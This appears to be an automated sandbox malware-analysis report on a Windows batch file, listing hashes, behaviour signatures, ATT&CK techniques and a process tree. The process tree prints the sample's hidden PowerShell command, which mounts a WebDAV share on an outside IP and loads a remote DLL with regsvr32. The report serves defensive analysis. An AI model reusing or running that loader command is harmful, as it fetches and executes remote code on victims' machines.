861dce61ef3ff99e0171216006bed5a42a5bb62e69cdb949a6f71b1d3ed50f84

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 12:15

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General

Target

1849625714245234452.bat
Size

14KB
MD5

9a56cb79de8c0c6c2d53533dcadc412f
SHA1

0f0d86251caef82aaafe43f97515df8ad1e51d8e
SHA256

861dce61ef3ff99e0171216006bed5a42a5bb62e69cdb949a6f71b1d3ed50f84
SHA512

c23f48a8d4a1bf076b3561183dfa1ccf6ad29590bcc26c5035aea76b9e157e06a5c335ca5fbf1625e16ddec050ca4b51d0f10a356eac87450242f73a54a8ef76
SSDEEP

384:/njVjrftmoud5kC1SMR/Z2haNhhPnlM+pTDLtX4:JooudSISMR/Z2harBnrv2

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2592	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2592	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2592	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2832	wordpad.exe
2832	wordpad.exe
2832	wordpad.exe
2832	wordpad.exe
2832	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2804 wrote to memory of 2832	2804	cmd.exe	32
PID 2804 wrote to memory of 2832	2804	cmd.exe	32
PID 2804 wrote to memory of 2832	2804	cmd.exe	32
PID 2804 wrote to memory of 2592	2804	cmd.exe	33
PID 2804 wrote to memory of 2592	2804	cmd.exe	33
PID 2804 wrote to memory of 2592	2804	cmd.exe	33
PID 2592 wrote to memory of 2572	2592	powershell.exe	35
PID 2592 wrote to memory of 2572	2592	powershell.exe	35
PID 2592 wrote to memory of 2572	2592	powershell.exe	35
PID 2592 wrote to memory of 2628	2592	powershell.exe	36
PID 2592 wrote to memory of 2628	2592	powershell.exe	36
PID 2592 wrote to memory of 2628	2592	powershell.exe	36
PID 2592 wrote to memory of 2628	2592	powershell.exe	36
PID 2592 wrote to memory of 2628	2592	powershell.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\1849625714245234452.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2804
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\201833256420517.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2592
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2572
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\201833256420517.dll
    3⤵
    PID:2628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2592-23-0x000000001B7D0000-0x000000001BAB2000-memory.dmp

Filesize
2.9MB

Download
memory/2592-24-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download